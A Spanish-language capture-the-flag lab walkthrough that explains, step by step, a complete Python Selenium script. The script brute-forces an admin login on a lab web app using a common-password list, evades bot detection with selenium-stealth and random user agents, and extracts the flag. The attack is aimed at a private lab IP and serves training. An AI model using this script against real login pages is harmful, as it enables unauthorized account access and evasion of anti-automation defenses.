Selenium es una herramienta de automatización de navegador poderosa usada para el testeo, web scraping, o incluso simular comportamiento de usuario para el pentesting. En esta tarea, desglosaremos cómo nuestro script de Python usa Selenium para automatizar el proceso de login y bypassear controles de seguridad comunes.
Antes de analizar el script, entendamos algunos conceptos esenciales automatizando interacciones web usando Selenium:
- WebDriver: El WebDriver de Selenium controla el navegador y nos permite navegar páginas, interactuar con elementos y extraer información.
- Element Identification: Selenium ofrece varios métodos para localizar e interactuar con elementos usando atributos como ID, Name o XPath.
- Headless Mode: Una forma de ejecutar navegadores sin interfaz gráfica, haciendo la automatización más rápida y eficiente.
- CSRF Protection: Las aplicaciones web normalmente usan tokens CSRF para prevenir peticiones maliciosas. Como usamos un navegador, el token CSRF es generado dinámicamente y subido con cada petición.
- Stealth Techniques: Selenium Stealth permite prevenir la detección replicando comportamiento humano y enmascarando huellas automatizadas.
Automatizar el Proceso de Login
La aplicación hosteada valida cada petición de login usando un token CSRF. El objetivo es realizar un ataque de fuerza bruta usando un script basado en Selenium para determinar la contraseña correcta.

Desglose del Código
El script de Python dado usa Selenium para intentar iniciar sesión usando un diccionario de contraseñas. Debajo está el desglose:
Paso 1 - Importar las Librerías Necesarias
from selenium.webdriver.common.by import By from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service from selenium_stealth import stealth import time import logging from fake_useragent import UserAgent
- Selenium WebDriver controla el navegador Chrome para la automatización.
- selenium_stealth es usado para prevenir detección de bots.
- fake_useragent genera huellas de navegador realistas para evitar la detección.
Paso 2 - Configurar el Navegador
El navegador es configurado usando varias opciones de Chrome para eficiencia y sigilo óptimos:
options = Options() ua = UserAgent() userAgent = ua.random options.add_argument('--no-sandbox') options.add_argument('--headless') options.add_argument("start-maximized") options.add_argument(f'user-agent={userAgent}') options.add_argument('--disable-dev-shm-usage') options.add_argument('--disable-cache') options.add_argument('--disable-gpu')
--no-sandbox: Previene a Chrome de usar el modo sandbox.--headless: Ejecuta Chrome sin interfaz de usuario gráfica, haciéndolo más rápido y eficiente.start-maximized: Asegura que el navegador está maximizado, previniendo problemas con layouts responsivos.f'user-agent={userAgent}': Genera un user agent aleatorio, ayudando al script a evadir detección.--disable-dev-shm-usage: Previene limitaciones de memoria en contenedores Docker.--disable-cache: Asegura que el navegador haga fetch de información fresca en cada intento.
Paso 3 - Implementar Técnicas de Sigilo
Para prevenir detección, el script usa selenium-stealth, el cual modifica el comportamiento del navegador para replicar a un usuario legítimo.
stealth(chrome, languages=["en-US", "en"], vendor="Google Inc.", platform="Win32", webgl_vendor="Intel Inc.", renderer="Intel Iris OpenGL Engine", fix_hairline=True, )
- Languages and Vendor: Replica un lenguaje de navegador y configuración de vendor.
- WebGL Vendor y Renderer: Enmascara los detalles de GPU para evitar detección a través del fingerprinting.
- Fix Hairline: Arregla las discrepancias de renderizado que podrían indicar modo headless.
Realizar el Ataque de Fuerza Bruta
El script usa Selenium para intentar iniciar sesión usando una lista de contraseñas. Aquí está cómo funciona:
ip = 'http://SECOND_VM_IP/labs/lab1/' login_url = f'{ip}/index.php' dashboard_url = f'{ip}/dashboard.php' username = "admin" passwords = ["123456", "admin", "letmein", "pass123", "password"]
- Target URL: La URL del login de la aplicación y del dashboard son definidas.
- Username: El nombre de usuario
admines usado para todos los intentos. - Password List: Es una lista de contraseñas habituales usada para la fuerza bruta.
Paso 1 - Subida de Formulario
Cada contraseña es subida usando el método de Selenium find_element():
chrome.get(login_url) time.sleep(0.5) chrome.find_element(By.NAME, "username").send_keys(username) chrome.find_element(By.NAME, "password").send_keys(password) chrome.find_element(By.TAG_NAME, "form").submit()
chrome.get(): Carga la página de login..find_element(): Localiza los campos de introducción de usuario y contraseña usando su atributoname..send_keys(): Simula teclear en los campos..submit(): Sube el formulario.
Paso 2 - Validar Intentos de Login
Después de subir el formulario, el script busca login exitoso verificando si el navegador fue redirigido al dashboard:
if dashboard_url in chrome.current_url: print(f"[+] Login successful with password: {password}") flag_element = chrome.find_element(By.TAG_NAME, "p") flag = flag_element.text.strip() print(f"[+] {flag}") break else: print(f"[-] Failed login with: {password}")
- URL Check: Si la URL actual coincide con la
dashboard_urlel script asume que el login fue exitoso. - Extracting Flag: Después de un login exitoso, el script extrae e imprime la flag usando
find_element().
Código Completo
Este es el código completo para la resolución:
from selenium.webdriver.common.by import By from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service from selenium_stealth import stealth import time import logging from fake_useragent import UserAgent options = Options() ua = UserAgent() userAgent = ua.random options.add_argument('--no-sandbox') options.add_argument('--headless') options.add_argument("start-maximized") options.add_argument(f'user-agent={userAgent}') options.add_argument('--disable-dev-shm-usage') options.add_argument('--disable-cache') options.add_argument('--disable-gpu') options.binary_location = "/usr/bin/google-chrome" service = Service(executable_path='chromedriver-linux64/chromedriver') chrome = webdriver.Chrome(service=service, options=options) stealth(chrome, languages=["en-US", "en"], vendor="Google Inc.", platform="Win32", webgl_vendor="Intel Inc.", renderer="Intel Iris OpenGL Engine", fix_hairline=True, ) # CONFIG ip = 'http://10.10.234.138/labs/lab1/' login_url = f'{ip}/index.php' dashboard_url = f'{ip}/dashboard.php' # Credentials to brute-force username = "admin" passwords = ["123456", "admin", "letmein", "pass123", "password"] # Replace with file if needed # Loop over passwords for password in passwords: chrome.get(login_url) time.sleep(0.5) # Grab CSRF token #csrf = chrome.find_element(By.NAME, "csrf_token").get_attribute("value") # Fill out login form chrome.find_element(By.NAME, "username").send_keys(username) chrome.find_element(By.NAME, "password").send_keys(password) #chrome.find_element(By.NAME, "csrf_token").send_keys(csrf) chrome.find_element(By.TAG_NAME, "form").submit() time.sleep(0.5) # Check if login successful (simple way) if dashboard_url in chrome.current_url: print(f"[+] Login successful with password: {password}") flag_element = chrome.find_element(By.TAG_NAME, "p") flag = flag_element.text.strip() print(f"[+] {flag}") break else: print(f"[-] Failed login with: {password}") chrome.quit()
